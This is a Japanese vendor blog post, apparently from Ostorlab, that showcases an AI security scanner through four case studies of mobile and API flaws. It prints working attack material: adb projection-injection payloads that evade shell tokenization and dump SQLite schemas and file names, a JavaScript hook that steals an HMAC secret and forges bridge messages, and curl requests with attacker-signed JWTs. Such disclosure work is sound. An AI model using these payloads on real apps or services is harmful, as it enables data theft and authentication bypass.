さらにその先へ:OstorlabのAIエンジンが未知の脆弱性クラスを発見する
Ostorlabの推論駆動型AIエンジンは、ルールベースの限界を突破し、これまで未知で検出が難しかった脆弱性を表面化させます。WebViewのSafe Browsingバイパス、プロジェクション経由のSQLi、WebCrypto鍵の窃取、JWT検証順序の欠陥などを含め、より深く、より賢く、補完的なセキュリティカバレッジを実現します。
自動化された脆弱性スキャンは、本質的にルールベースです。そうしたルールには、避けられない2つの限界があります。
- すでに知られているものしか検出できない。
- ルールの構築と保守にはコストがかかるため、最もリスクが高く、発生の可能性が高い問題を優先する。
その結果、未知のものや単発のエッジケース、たとえばRCEにつながり得る独自言語の癖のようなものは、通常のカバレッジの外に残されます。
推論を備えたAI駆動型テストは、この枠組みを打ち破ります。仮説を立て、コンテキストに適応し、静的なルールが決して符号化できなかった方法で探索できます。
とはいえ、まだ完全な代替ではありません。費用対効果の観点では、チューニングされたルールエンジンのほうが、既知のチェックをはるかに高速かつ安価に実行します。
理論はこのくらいにして、実践に移りましょう。
以下の例は、OstorlabのAIエンジンが、私たちが可能だと思っていなかった真に新しい脆弱性を発見する様子を示しています。あわせて、現在の自動化が日常的に見逃している、周縁的で検出の難しい問題も取り上げます。
ケーススタディ1:WebViewのSafe Browsingバイパス
あるモバイルアプリケーションの評価において、AIエンジンは一見すると安全に見える標準的なWebView実装に遭遇しました。アプリケーションは標準的なセキュリティ設定でリモートコンテンツを読み込んでいましたが、AIの体系的なアプローチによって興味深い見落としが明らかになりました。
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setDomStorageEnabled(true);
webView.loadUrl(url);
AIはまず、WebViewの設定をAndroidのセキュリティドキュメントと照らし合わせて分析しました。多くのセキュリティガイドは、ファイルアクセスやJavaScriptインターフェースの有効化といった目に見える設定ミスに注目しますが、AIは、Googleのマルウェアおよびフィッシング対策であるSafe Browsingが明示的に有効化・検証されていないことを特定しました。
AIは、WebViewの挙動をさまざまな脅威シナリオに対して体系的にテストしました。
- マルウェア検出テスト:既知のマルウェアをホストするドメインの読み込み
- フィッシング検出テスト:説得力のあるフィッシングページの作成
- 混在コンテンツ分析:HTTPS環境内でのHTTPコンテンツのテスト
- 証明書検証:SSL/TLS証明書の取り扱いの検査
重要な発見:
// AI-generated test payload
Adb shell am start -a android.inetnt.action.VIEW -n xxx/.ArticleViewerActivity –es url “https://testsafebrowsing.appspot.com/s/phishing.html”
// This resolved to a known malicious IP without triggering Safe Browsing warnings
AIは、Safe BrowsingがAndroid 8.0以降ではデフォルトで有効になっているものの、アプリケーションがこの保護が有効であることを一切検証しておらず、古いAndroidバージョンや改造されたROMではこの保護が無効化またはバイパスされる可能性があることを発見しました。
このケースでは、Safe Browsingチェックが存在しないことで、アプリに許可リストがないためフィッシングのリスクが高まります。
AIは、攻撃者が次のことを行い得ることを実証しました。
- 脆弱なデバイス設定上でSafe Browsing保護をバイパスする
- ユーザーには正当に見える悪意あるコンテンツを配信する
- アプリケーションとリモートコンテンツの間の信頼関係を悪用する
AIが生成した修正:
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();
// Explicitly enable and verify Safe Browsing
webSettings.setSafeBrowsingEnabled(true);
webView.setSafeBrowsingWhitelist(Arrays.asList("trusted-domain.com"), null);
webView.setWebViewClient(new WebViewClient() {
@Override
public void onSafeBrowsingHit(WebView view, WebResourceRequest request,
int threatType, SafeBrowsingResponse callback) {
// AI identified this callback as critical for proper threat handling
if (threatType == SAFE_BROWSING_THREAT_MALWARE ||
threatType == SAFE_BROWSING_THREAT_PHISHING) {
callback.backToSafety(true);
Log.w("Security", "Blocked malicious URL: " + request.getUrl());
}
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
// AI-generated additional validation
String url = request.getUrl().toString();
if (isKnownMaliciousDomain(url) || containsSuspiciousPatterns(url)) {
Log.w("Security", "Blocked suspicious URL: " + url);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
});
Safe Browsingに関する知識はAndroid固有のものであり、ペンテスターがこの項目に直面したか、取り組んだ経験がない限り、評価でこの種の脆弱性をカバーすることはまれです。
ケーススタディ2:クエリプロジェクションにおけるSQLインジェクション
2つ目の発見は、SQLiteにおけるクエリプロジェクションを通じたSQLインジェクションに関するものでした。
この脆弱性は、アプリのFileContentProviderに存在していました。これは権限の制限なしにエクスポートされており、デバイス上の任意のアプリケーションからアクセス可能でした。
この発見を注目に値するものにしたのは、クエリプロジェクションの内部でSQLインジェクションが可能であることを認識したエンジンの能力です。これは、これまでSQLインジェクションの標的になり得るとは文書化されていなかった攻撃ベクトルです。
エンジンは、まずAPKの静的解析を行い、すべてのContentProvider、そのオーソリティ、権限設定を列挙することで、方法論的な脆弱性ハンティングを実演しました。
続いて、content://[REDACTED].myblocnote.provider/にあるプロバイダーが外部からアクセス可能であり、適切な入力検証を欠いていることを特定しました。
エンジンは、巧妙に細工したADBコマンドを用いて、プロジェクションパラメーターを通じてSQL式を注入する動的テストへと進みました。
エンジンは、プロジェクションパラメーターを通じてさまざまなSQLインジェクション手法を体系的にテストしました。単純な定数評価(--projection "size:1")から始め、複雑なスキーマ列挙攻撃へと段階的にエスカレートしていきました。
エンジンは(SELECT group_concat(name) FROM sqlite_master)を注入することでデータベーススキーマ全体の抽出に成功し、android_metadata、files、sqlite_sequenceなど、外部アプリケーションからは決してアクセスできてはならないテーブルを明らかにしました。
この発見を際立たせたのは、コマンドラインの制約を回避し、実際の悪用手法を実演するエンジンの能力でした。
エンジンは、SQLコメント(/x/)とchar()関数を巧みに使ってシェルのトークン化の問題を回避し、理論的な脆弱性の特定にとどまらない実践的な知識を示しました。たとえば、filesテーブルからカラム情報を抽出するために、エンジンは次のクエリを構築しました。
--projection "size:(SELECT group_concat(name) FROM pragma_table_info(char(102,105,108,101,115)))"
これにより内部データベース構造(_id, name, path, size columns)が明らかになり、スキーマの完全な開示が実証されました。エンジンはさらに、サブクエリを用いて実際のファイル名を抽出することでデータ窃取の能力を実演し、出力が過大にならないよう結果を切り詰めつつも、脆弱性の深刻さを証明しました。
確認方法(ツールとエビデンス)
- コロン区切りのプロジェクションエントリを用いた adb shell content query。関数/サブセレクト呼び出しのために
括弧をエスケープし、CLIのトークン化/クオートの問題を回避するため、場合によってはSQLコメント
/x/とchar()を使用。 - /root での確認例:
- 定数評価:
- コマンド:
adb shell content query --uri content://xxxxx.myblocnote.provider/root --projection "size:1" - 出力(抜粋):
Row: 0 size=1024, 1=1
- コマンド:
- 組み込み関数:
- コマンド:
adb shell content query --projection "size:sqlite_version()" … - 出力:
Row: 0 size=1024, sqlite_version()=3.44.3
- コマンド:
- sqlite_master 経由のスキーマ名:
- コマンド:
--projection "size:(SELECT/x/group_concat(name)FROM/x/sqlite_master)" - 出力に含まれるもの:
android_metadata,files,sqlite_sequence,capabilities,uploads,camera_ uploads_sync,user_quotas
- コマンド:
- pragma_table_info 経由の files のカラム:
- コマンド:
--projection "size:(SELECT/x/group_concat(name)FROM/x/pragma_table_info(char(102,105,108,101,115)))" - 出力:
_id,name,path,size
- コマンド:
- DDL(CREATE TABLE files):
- コマンド:
--projection "size:(SELECT/x/sql/x/FROM/x/sqlite_master/x/WHERE/x/name=char(102, 105,108,101,115)/x/AND/x/type=char(116,97,98,108,101)/x/LIMIT/x/1)" - 出力(抜粋):
CREATE TABLE files (_id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, path TEXT NOT NULL, size INTEGER)
- コマンド:
- テーブルをまたいだカウント(capabilities):
- コマンド:
--projection "size:(SELECT/x/count(*)FROM/x/capabilities)" - 出力(抜粋):
…=0
- コマンド:
- 実データのサンプル(ファイル名を切り詰め、件数制限あり):
- コマンド:
--projection "size:(SELECT/x/group_concat(substr(name,1,5),char(124))FROM/x/(SELECT/x/name/x/FROM/x/files/x/LIMIT/x/3))" - 出力:
…=Docum|Image|Music
- コマンド:
- エラーベースの確認(未知の関数):
- コマンド:
--projection "size:pwned()" - エラー(抜粋):
android.database.sqlite.SQLiteException: no such function: pwned … while compiling: SELECT size, pwned() FROM files
- コマンド:
- 未知のカラム(許可リストなし):
- コマンド:
--projection "size:non_existent_col" - エラー(抜粋):
no such column: non_existent_col … while compiling: SELECT size, non_existent_col FROM files
- コマンド:
- 定数評価:
- アイテムURIでの確認:
- /file/1:
--projection "size:1" -> Row includes “1=1”。 - /directory/1:
--projection "size:sqlite_version()" -> sqlite_version()
カラムが返される。
- /file/1:
ケーススタディ3:セッションシークレット窃取のためのWebCryptoフッキング
この脆弱性は、人間によるペネトレーションテストに合格し、人間のテスターには見逃されていたアプリケーションで発見されました。
これは、WebViewベースのプロバイダーにおける注入タイミングの脆弱性です。プロバイダーはドキュメントの末尾で注入されるため、ページのスクリプトが先に実行され、WebCryptoをフックできます。プロバイダーはwindow.crypto.subtleを用いて、署名に使うHMACシークレットをインポートして使用します。フックされた関数は鍵素材を読み取って窃取でき、これによって任意のスクリプトが、ネイティブブリッジが正当なものとして受け入れる署名付きメッセージを偽造できるようになります。
エンジンによれば、この種の脆弱性は、セキュリティ上重要なスクリプトが敵対的なページへ遅れて注入される場合によく見られるとのことです。
攻撃手法
- 攻撃者は、プロバイダーの注入より前にJavaScriptが実行されるようにする(どのページでも容易)。
- プロバイダーが初期化される際に鍵素材を観測するため、crypto.subtle.importKey/signをフックする。
- セッションごとのシークレット(生の鍵)を抽出し、任意のリクエストに対して有効なHMACを計算する。
- window.ReactNativeWebView.postMessageを通じて、有効な署名を付けた細工済みメッセージを送信する。
A) SubtleCryptoをフックし、リロード時にHMAC鍵を窃取する
// Run BEFORE provider injection (e.g., in-page script, or paste then reload)
const origImportKey = crypto.subtle.importKey;
crypto.subtle.importKey = async function(fmt, keyData, alg, extractable, usages) {
if (fmt === 'raw' && alg && (alg.name || alg) === 'HMAC') {
const u8 = new Uint8Array(keyData);
const hex = Array.from(u8).map(x => x.toString(16).padStart(2,'0')).join('');
console.log('Captured HMAC secret (hex):', hex);
}
return origImportKey.apply(this, arguments);
};
// Reload the page; when the provider initializes at document-end, the secret is logged.
観測された結果:ブラウザーのコンソールに、セッションごとのシークレットが16進数で出力されます。
B) 窃取したシークレットを用いて署名付きの rpc_request を偽造する
// Using the secret captured above, compute a valid signature and post directly
async function sign(secretHex, obj) {
const key = await crypto.subtle.importKey('raw', new Uint8Array(objHex(secretHex)), { name:'HMAC', hash:'SHA-256' }, false, ['sign']);
const data = new TextEncoder().encode(JSON.stringify(obj));
const sig = await crypto.subtle.sign('HMAC', key, data);
return Array.from(new Uint8Array(sig)).map(x => x.toString(16).padStart(2,'0')).join('');
}
function objHex(h) { return h.match(/../g).map(b => parseInt(b,16)); }
(async () => {
const unsigned = { id: 'attacker-1', method: 'rpc_request', context: { network: 'evm', method: 'eth_chainId', params: [] } };
const signature = await sign('<PASTE_SECRET_HEX_HERE>', unsigned);
const msg = { ...unsigned, signature };
window.ReactNativeWebView.postMessage(JSON.stringify(msg));
})();
ケーススタディ4:JWT署名検証のバイパス
発見が難しいバグのもう一つの興味深い例を紹介します。以下はエンジンの出力と、その問題をどのように確認したかです。
エビデンスは、サービスが署名を検証する前にJWTクレームを評価していることを示しています。
無効な/攻撃者の署名を持つトークンや、意図的に破損させた署名を持つトークンは、保護されたエンドポイント全体で、署名の失敗ではなく発行者(issuer)関連のエラーを生じさせます。これにより、JWT検証パイプラインにおける署名検証のバイパス/順序の誤りが確認されます。
- 影響を受けるホスト:https://gateway.[REDACTED]-prod.com(CloudFront → Kestrel 経由のHTTP/2)
- 確認されたエンドポイント:GET /api/consumer/user/kyc、GET /api/consumer/accounts/USD(以前のデータセットより)。また、GET /api/consumer/features(公開/未認証)での挙動との対比
- アルゴリズム:RS256、HS256が影響を受ける。alg=noneは拒否される(署名の存在は必須だが、検証はされていない)
再現と生のエビデンス
コントロールA — トークンなし(ベースライン)
curl -i --http2 --compressed \
-H 'accept: application/json' \
-H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' \
-H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' \
-H 'accept-encoding: gzip' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
レスポンスの抜粋:
HTTP/2 401
www-authenticate: Bearer error="invalid_token"
content-length: 0
コントロールB — alg=none トークン(署名なし)は拒否される(期待どおり)
curl -i --http2 --compressed \
-H 'accept: application/json' \
-H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' \
-H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' \
-H 'accept-encoding: gzip' \
-H 'Authorization: Bearer [REDACTED]' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
レスポンスの抜粋:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The signature is invalid"
content-length: 0
解釈:サービスは署名フィールドを必須としています。次のテストは、署名付きトークンについて署名の完全性を検証していないことを示します。
コアエビデンス1 — ヘッダーで供給したJWKを用い、攻撃者の鍵で署名したRS256トークン → 署名エラーではなく発行者エラーが返る
トークン(デコード済み):
{
"header": {
"alg": "RS256",
"typ": "JWT",
"kid": "test-rsa-1",
"jwk": {"kty": "RSA", "n": "<attacker-n>", "e": "AQAB"}
},
"payload": {
"sub": "+50644440002",
"iss": "[REDACTED]",
"aud": "[REDACTED]-mobile",
"iat": 1759166743,
"nbf": 1759166743,
"exp": 1759167403
}
}
リクエスト:
curl -i --http2 --compressed \
-H 'accept: application/json' -H 'user-agent: okhttp/4.12.0' \
-H 'mobile-app-type: [REDACTED]' -H 'mobile-app-platform: ANDROID' \
-H 'mobile-app-version: 11.5' -H 'accept-encoding: gzip' \
-H 'Authorization: Bearer <attacker-RS256-token-with-jwk-header>' \
'https://gateway.[REDACTED]-prod.com/api/consumer/accounts/USD'
レスポンスの抜粋:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer '[REDACTED]' is invalid"
content-length: 0
解釈:サーバーは、未知/信頼されていない鍵や不正な署名として拒否する代わりに、発行者の検証へと進みました。
コアエビデンス2 — jwkヘッダーなし、攻撃者が署名したRS256トークン → 発行者エラーが継続
Authorization: Bearer [REDACTED]
レスポンスの抜粋:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
解釈:依然として署名による拒否はなく、クレームの検証が進みます。
コアエビデンス3 — 意図的に署名を破損させたRS256トークン → 保護されたエンドポイント全体で発行者エラーが継続
改ざんされたトークン(3番目のセグメントのみ変更。ヘッダー+ペイロードは変更なし):
[REDACTED]
観測されたレスポンス:
- GET /api/consumer/accounts/USD →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
- GET /api/consumer/user/kyc →
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
解釈:署名が壊れているにもかかわらず、クレームチェック(発行者)が先に実行されます。
コアエビデンス4 — 任意のシークレットを用いたHS256トークン → 署名/algエラーではなく発行者エラーが返る
[REDACTED]
レスポンスの抜粋:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'gateway.[REDACTED]-prod.com' is invalid"
解釈:アルゴリズム/鍵の不一致が無視され、クレームチェックが進みます。
裏付けとなる追加検証 — 認証済みエンドポイントに対する署名破損のRS256が発行者エラーを返す。
リクエスト(1回):
curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
-H "accept: application/json" \
-H "user-agent: okhttp/4.12.0" \
-H "accept-encoding: gzip" \
-H "authorization: Bearer [REDACTED]" \
--compressed
レスポンス(ヘッダーそのまま):
HTTP/2 401
content-length: 0
date: Mon, 29 Sep 2025 18:30:50 GMT
server: Kestrel
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://attacker.invalid/issuer' is invalid"
解釈:エンドポイントはリクエストを認証していますが、検証されていないトークンから発行者クレームを評価しています。
クレーム順序テスト — iss のみを一致させる。それでも署名は破損したまま → 発行者は依然として無効(順序が確認された)
curl --http2 -s -i -X GET "https://gateway.[REDACTED]-prod.com/api/consumer/user/kyc" \
-H "accept: application/json" \
-H "user-agent: okhttp/4.12.0" \
-H "accept-encoding: gzip" \
-H "authorization: Bearer [REDACTED]" \
--compressed
レスポンス:
HTTP/2 401
www-authenticate: Bearer error="invalid_token", error_description="The issuer 'https://gateway.[REDACTED]-prod.com' is invalid"
解釈:署名が破損しているにもかかわらず、クレームチェック(依然として発行者)が実行され続けます。順序の設定が誤っています。
結論
ルールベースのスキャナーは、既知のものに対する速度とカバレッジに優れていますが、未知のものや単発のものは必然的に見逃します。ここで取り上げたケースは、そのギャップを具体的に示しています。
OstorlabのAIエンジンのような推論駆動型AIは、仮説を立て、リアルタイムで探索を調整し、どんな固定ルールも予期しなかった脆弱性を表面化させることで、このギャップを埋めます。その結果として、異なる(より多くの)バグを見つける、補完的な戦略が生まれます。